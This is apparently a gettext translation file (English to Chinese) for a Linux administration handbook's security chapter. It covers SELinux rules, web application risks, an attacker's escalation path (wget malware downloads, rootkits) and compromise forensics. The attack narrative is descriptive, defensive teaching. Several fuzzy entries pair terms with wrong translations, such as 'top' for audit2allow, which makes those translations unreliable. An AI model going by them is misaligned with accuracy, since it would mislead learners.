msgstr "tclass=fifo_file"
msgid "The target object is a FIFO file."
msgstr "目标对象是一个 FIFO 文件。"
#, fuzzy
#| msgid "top"
msgid "audit2allow"
msgstr "top"
#, fuzzy
#| msgid "checksecurity"
msgid "policycoreutils"
msgstr "checksecurity"
#, fuzzy
#| msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it's exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial."
msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial."
msgstr "通过观察日志条目,就可以创建允许操作的规则。例如:allow syslogd_t device_t:fifo_file { read write }。这一过程可以自动化,这正是 audit2allow(在 policycoreutils 软件包)命令所提供的功能。这种方法只在各种对象根据其限制已被正确标识时有用。任何情况下,都要仔细审阅创建的规则并根据对应用程序的认识验证它们。实际上,这种方法通常会授予比实际需求更多的权限。恰当的方案是创建新的类型并且只授予针对这些类型的权限。有时候,拒绝操作对应用程序并不是致命的,这种情况下,可以添加一条“忽略-dontaudit”规则来避免记入日志。"
msgid "COMPLEMENTS No roles in policy rules"
msgstr "补充无角色的策略规则"
#, fuzzy
#| msgid "monitoring"
msgid "Type Enforcement"
msgstr "监视"
#, fuzzy
#| msgid "monitoring"
msgid "Enforcement, Type Enforcement"
msgstr "监视"
#, fuzzy
#| msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights. Type Enforcement Enforcement, Type Enforcement"
msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights."
msgstr "在创建新规则时,完全看不到角色是比较怪异的。SELinux 只使用域来确定哪些操作允许。角色只是通过允许用户切换到另外的域间接起作用。SELinux 是基于被称为类型增强-Type Enforcement 的理论,类型是唯一影响授权的元素。"
msgid "Compiling the Files"
msgstr "编译文件"
#, fuzzy
#| msgid "Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, just run make to generate a module in the example.pp file (you can immediately load it with semodule -i example.pp). If several modules are defined, make will create all the corresponding .pp files."
msgid "Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files."
msgstr "一旦三个文件(example.if, example.fc, 和 example.te)符合对新规则的预期要求,运行 make 在 example.pp 文件中创建模块(可以使用 semodule -i example.pp 立即加载)。如果定义了几个模块,make 会生成所有对应的 .pp 文件。"
msgid "Other Security-Related Considerations"
msgstr "其他安全相关事项"
#, fuzzy
#| msgid "Security is not just a technical problem; more than anything, it's about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgid "Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgstr "安全不仅是一个技术问题;它更是良好的习惯和对风险的理解。本节讨论一些更常见的风险,还有一些增加安全或者减小被攻击后影响的良好习惯。"
msgid "Inherent Risks of Web Applications"
msgstr "网页应用程序的内在风险"
msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (Linux, Apache, MySQL, PHP) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly."
msgstr "Web 应用的普遍性导致其剧增。往往是几个并行运行:网页邮件,维基,群件系统,论坛,图片库,博客等等。许多应用依赖于“LAMP”(Linux, Apache, MySQL, PHP)。不幸的是,很多这种应用在编写的时候没有考虑安全问题。而源于外部世界的数据通常很少或者不去验证。使用特别数值可以将一个调用暗中转换成一个指令,以便于执行另外的替代程序。许多明显的问题随着时间的推移都被修正了,然而新的安全问题又时不时的跳出来。"
msgid "VOCABULARY SQL injection"
msgstr "词汇 SQL 注入"
#, fuzzy
#| msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. "
msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. "
msgstr "如果程序以一种不安全的方式将数据插入到 SQL 查询,就会很容易受到 SQL 注入攻击;这个名字指这样一种行为:改变一个参数来执行不同于预期的查询,或者用于破坏数据库,或者用于读取那些不应该读取的数据。"
msgid "SQL injection"
msgstr "SQL 注入"
#, fuzzy
#| msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgstr "因此,定期更新 web 应用是必须的,以减少任何攻击者(无论是专业攻击者或者脚本小子)可以利用的已知漏洞。实际的风险取决于所处的情况,从数据销毁到执行任意代码,也包括网络涂改。"
msgid "Knowing What To Expect"
msgstr "知道预期什么"
msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences."
msgstr "网页应用程序的弱点常常是攻击尝试的起点。下面简单的回顾一下可能的后果。"
msgid "QUICK LOOK Filtering HTTP queries"
msgstr "速览过滤 HTTP 查询"
#, fuzzy
#| msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgstr "Apache 2 中包含了可用于过滤 HTTP 请求的模块。可以用来阻止某些攻击者。例如,限制参数的长度可以阻止缓冲区溢出。更一般地,可以在传递给应用程序之前验证其参数并限制其访问。这些甚至可以与动态防火墙更新相结合,违反规则的客户在一定时间内被禁止访问网页服务器。"
msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned."
msgstr "设定这些检查是费时,费劲的任务。但当网页应用有一条可疑追踪记录时,就会有所回报。"
#, fuzzy
#| msgid "mod-security (in the libapache-mod-security package) is the main such module."
msgid "mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable."
msgstr "mod-security(在 libapache-mod-security 软件包中)是此类主要模块。"
#, fuzzy
#| msgid "logsdisplay"
msgid "Apachemod-security2"
msgstr "OSImodel"
#, fuzzy
#| msgid "libapache-mod-security"
msgid "libapache2-mod-security2"
msgstr "libapache-mod-security"
#, fuzzy
#| msgid "checksecurity"
msgid "modsecurity-crs"
msgstr "checksecurity"
#, fuzzy
#| msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. Script-kiddies only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgstr "侵入的结果会留下各自痕迹,取决于攻击者的动机。脚本小子(Script-kiddies)只会用他们在网上找到的方法;常常是涂改页面或者删除数据。狡猾一点的,会在网页中添加无形内容,来提高他们自己网站在搜索引擎中的引用次数。"
#, fuzzy
#| msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to follow the scent to the actual origin of the attack."
msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack."
msgstr "一个更高级别的攻击者远胜于此。灾难性的场景可能以下面的方式呈现:攻击者获得以 www-data 用户身份执行命令的能力,但是执行命令需要多次操作。为了简单化,他们还会安装专门为远程执行命令而设计的网页应用程序,例如浏览文件系统,检查权限许可,上传或者下载文件,执行命令,甚至是提供网络控制台。通常,漏洞会允许运行 wget 命令将恶意软件下载到 /tmp/ 中并执行。恶意软件通常从一个已经攻陷的国外网站下载,这样可以掩盖其踪迹并使嗅探攻击的真正出处更加困难。"
msgid "At this point, the attacker has enough freedom of movement that they often install an IRC bot (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The www-data account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access."
msgstr "此时,攻击者就有足够的行动自由了,他们常常会安装一个 IRC 机器人-bot(一个连接到 IRC 服务器的机器人并且可以通过频道来控制)。该机器人常常用来共享非法文件(未授权的电影或软件拷贝,等等)。一个坚决的攻击者可能会走到更远。www-data 账户不允许对机器的完全存取,攻击者会尝试获取管理员权限。现在,这个还不可能,但是如果网页应用程序不是最新的,内核和其他程序有可能也是过期的;这有时候源于管理员的决断,尽管知道容易遭受攻击,由于没有本地用户仍然忽略更新。然后,攻击者就会利用第二个弱点来取得超级用户权限。"
msgid "VOCABULARY Privilege escalation"
msgstr "词汇特权升级"
#, fuzzy
#| msgid "monitoringlog files"
msgid "permissionsprivilege escalation"
msgstr "监视日志文件"
#, fuzzy
#| msgid "snort"
msgid "sudo"
msgstr "snort"
msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The sudo program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights."
msgstr "该术语涵盖了任何用于获得比给定用户正常情况下更多权限的行为。sudo 程序被设计用来将管理员权限赋予某些用户。但是,同样的术语也用来描述攻击者利用漏洞获取不当权限。"
#, fuzzy
#| msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also ); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgstr "现在攻击者拥有了机器;他们将试图尽可能长时间的保持其权限。这就要安装 后门-rootkit,一个取代系统组件的程序,以便攻击者可以在随后的时间重新获取管理员特权;后门软件也会试图隐藏自己和入侵痕迹。被破坏的 ps 程序会漏掉一些进程,netstat 也不会列出一些活动链接,等等。拥有超级用户权限,攻击者可以观察整个系统,但是不一定能找到重要数据;因此他们会尝试侵入协作网络中其他的机器。分析管理员的账户和历史记录,攻击者会发现哪些机器被经常访问。使用被修改的程序替换 sudo 或者 ssh,攻击者能截取到部分管理员密码,并将其用在探测到的服务器上...入侵就会传播开来。"
msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures."
msgstr "这种噩梦可以通过几种方法阻止。接下来的章节会讲述几种方法。"
msgid "Choosing the Software Wisely"
msgstr "明智地选择软件"
#, fuzzy
#| msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as SecurityFocus.com, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr "一旦潜在的安全问题被暴露,就必须在配置服务的每个步骤都要考虑,特别是在选择安装软件的时候。许多网站,例如 SecurityFocus.com,会列出最近发现的漏洞,在一些特殊软件部署之前会给出安全记录。当然,要平衡此信息和所述软件的普及程度:越是使用广泛的软件,越是诱人,因而审查也更严密。"
msgid "VOCABULARY Security audit"
msgstr "词汇 安全审核"
#, fuzzy
#| msgid "packetIP"
msgid "securityaudit"
msgstr "包IP"
msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr "安全审核是彻底地阅读和分析某些软件的源代码,并寻找它可能包含的潜在安全漏洞。这种审核通常是预先的,并用于确保程序符合特定的安全需求。"
#, fuzzy
#| msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgid "In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgstr "在自由软件的世界里,有大量的选择。选择某一个软件而非另一个,应该基于具体的准则来做出决定。更多的特性暗含着代码背后隐藏着更多的漏洞风险;为某个任务选择最高级的程序实际上可能适得其反,较好的方法通常是选择满足需求最简单的程序。"
msgid "VOCABULARY Zero-day exploit"
msgstr "词汇 0day 漏洞"
msgid "A zero-day exploit attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program."
msgstr "零日漏洞攻击很难预防;该术语用于描述程序中那些作者还不知道的漏洞。"
msgid "Managing a Machine as a Whole"
msgstr "将机器作为整体管理"
#, fuzzy
#| msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there's no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgstr "大部分 Linux 发行版会默认安装许多 Unix 服务和工具。很多情况下,这些服务和工具在管理员设置机器的时候是不需要的。作为安全方面的一般原则,不需要的软件最好不要安装。实际上,如果未使用服务中的漏洞可以用于获取整个机器的管理员特权,那么保护 FTP 服务是没有意义的。"
msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible."
msgstr "出于同样的原因,防火墙通常配置为只允许访问公共服务。"
#, fuzzy
#| msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine), or with SELinux (each service daemon having an adequately designed set of permissions)."
msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions)."
msgstr "目前的计算机足以强大,可以在同一台物理机器上托管多个服务。从经济的观点来看,这种特性很有趣:只需管理一台计算机,更低的能源消耗,等等。从安全的观点来看,这么做会有问题。一个被攻陷的服务可能用来访问整个机器,反过来危机同一台电脑上的其他服务。这种风险可以通过隔离服务来减少。可以通过虚拟化(每个服务托管在专用虚拟机)或者 SELinux(每个守护进程有一套专门的许可集)来实现。"
msgid "Users Are Players"
msgstr "用户是参与者"
msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on."
msgstr "谈到安全,要马上考虑保护免受隐藏在互联网丛林里匿名破坏者的攻击;但是,经常被遗忘的事实是-风险也来自内部:离职雇员会下载重要敏感的项目文件并买给竞争对手;大意的销售可能在开前景规划会议时,离开电脑而没有锁定桌面;笨拙的用户可能误删目录;等等。"
msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks."
msgstr "对付这些风险可以使用技术手段:授予用户的权限不多于所需求的权限,并且必须进行常规备份。但是在许多情况下,适当的保护也包含培训用户进而规避风险。"
msgid "QUICK LOOK autolog"
msgstr "速览 autolog"
#, fuzzy
#| msgid "checksecurity"
msgid "autolog"
msgstr "checksecurity"
msgid "The autolog package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr "autolog 软件包可以在设定的延时过后自动断开非活动用户。也可以在会话结束后,杀死用户进程,进而防止用户运行守护进程。"
msgid "Physical Security"
msgstr "物理安全"
msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated."
msgstr "如果计算机本身没有受到保护,保护服务和网络是没有意义的。重要数据应该存储在 RAID 阵列可热交换硬盘上,即使硬盘失效,但是数据必须可用。如果送披萨的小伙子能进入大楼,溜进服务器房间并带着几块硬盘逃跑,那么安全的重要方面没有满足。谁可以进入服务器房间?出入被监控了吗?当评估物理安全时,需要考虑这些问题。"
msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox."
msgstr "物理安全也包括考虑事故风险,例如火灾。这种特殊风险说明有理由将备份介质保存在单独的建筑物,或者至少保存在防火保险箱内。"
msgid "Legal Liability"
msgstr "法律责任"
msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit."
msgstr "管理员或多或少被用户和网络用户所信任。因此,应避免任何可能被恶人利用的漏洞。"
#, fuzzy
#| msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgstr "攻击者控制你的机器,然后用它作为基础(称为“中继系统”)执行其他恶意活动,会导致你法律上的麻烦。因为被攻击方最初会看到攻击源于你的系统,会把你当做攻击者(或者共犯)。在许多情况下,攻击者会使用你的服务器作为垃圾邮件的中继,这并不会有大的影响(除了将你列为黑名单,并限制发送合法邮件),但也不舒服。其他情况下,可能从你的机器产生更大的麻烦,譬如拒绝服务攻击。因为正常服务不可用,数据被损坏,这有时会导致收入损失;有时这也包含着实实在在的成本,因为被攻击方可能启动法律程序。如果未授权的拷贝通过你的服务器共享,版权所有者可以起诉你,以及其他遵从服务级别协议的公司-如果从你的机器遭受攻击,他们必须受到惩罚。"
msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks."
msgstr "如果此类情况发生了,自称清白通常是不够的;至少,你要出示在你系统上进行可疑活动源于指定 IP 的证据。这几乎是不可能的,如果你忽略了本章的推荐,让攻击者获得特权账户(特别是超级用户)并使用它来掩盖痕迹。"
msgid "Dealing with a Compromised Machine"
msgstr "处理被攻陷的机器"
msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances."
msgstr "尽管有最好的意图和精心设计的安全策略,管理员最终还是会面对劫持行为。本节提供一些指导,介绍碰到这种情况时如何应对。"
msgid "Detecting and Seeing the Cracker's Intrusion"
msgstr "探测并观察黑客入侵"
msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure."
msgstr "对付侵入的第一步是要注意黑客的这种行为。它通常不是自明的,特别是在没有足够的监控措施时。"
#, fuzzy
#| msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:"
msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:"
msgstr "破解行为通常不能被侦测到,除非这些行为对宿主机上的正常服务产生了直接影响,例如连接减缓,某些用户不能连接,或者其他类型的故障。面对这些问题,管理员需要好好看看机器并仔细检查异常行为。这时通常会发现异常进程,譬如名为 apache 而非标准的 /usr/sbin/apache2。按照这个例子,接下来要做的是注意进程标识,并检查 /proc/pid/exe 看看此进程当前运行的是什么程序:"
msgid "/proc/proc/pid/exe"
msgstr ""
#, fuzzy
#| msgid ""
#| "\n"
#| "# ls -al /proc/3719/exe\n"
#| "lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n"
#| " "
msgid ""
"\n"
"# ls -al /proc/3719/exe\n"
"lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n"
""
msgstr ""
"\n"
"# ls -al /proc/3719/exe\n"
"lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc\n"
" "
msgid "A program installed under /var/tmp/ and running as the web server? No doubt left, the machine is compromised."
msgstr "一个程序安装在 /var/tmp/ 并作为网页服务器运行?毋庸置疑,机器已经被攻陷了。"
msgid "This is only one example, but many other hints can ring the administrator's bell:"
msgstr "此处只是一个示例,但是其他提示也会给管理员敲响警钟:"
msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to dpkg;"
msgstr "命令的某个选项不起作用了;命令自己声明的软件版本与根据 dpkg 安装的预期版本不一致;"
msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;"
msgstr "命令行提示或者会话问候显示最后的连接源于其他洲的未知服务器;"
msgid "errors caused by the /tmp/ partition being full, which turned out to be full of illegal copies of movies;"
msgstr "/tmp/ 分区已经被错误填满,而且都是由于非法的电影拷贝产生的;"
msgid "and so on."
msgstr "等等。"
msgid "Putting the Server Off-Line"
msgstr "把服务器下线"
msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr "除了非常特殊的情况,破解一般源于网络,攻击者需要连接网络达到目的地(读取机密数据,共享非法文件,使用中继隐藏身份,等等)。将计算机从网络上拔出会阻止攻击者达到这些目标,即使是他们还没能成功攻陷电脑。"
#, fuzzy
#| msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see following sections), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see , and ), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgstr "这些只有在服务器可以物理访问时才有可能。如果服务器是位于半个国家之外的托管供应商数据中心,或者因为其他原因不能接近服务器,最好是先收集一些重要信息(参考随后章节),然后通过关闭尽可能多的服务,隔离尽可能多的服务器(通常,是除了 sshd 之外的所有服务)。这种情况仍然比较尴尬,因为你不能确定攻击者是否像管理员一样具有 SSH 访问权限;从而使清理机器更困难。"
msgid "Keeping Everything that Could Be Used as Evidence"
msgstr "保留所有可以作为证据的东西"
msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice."
msgstr "要知道针对攻击者的反击和从事法律活动需要所有重要元素的复本;包括硬盘内容,所有允许进程的清单,所有打开连接的清单。RAM 的内容也可以被使用,但是实践中很少使用。"
msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (netstat -tupan for network connections, ps auxf for a list of processes, ls -alR /proc/[0-9]* for a little more information on running programs), and every performed check should carefully be written down."
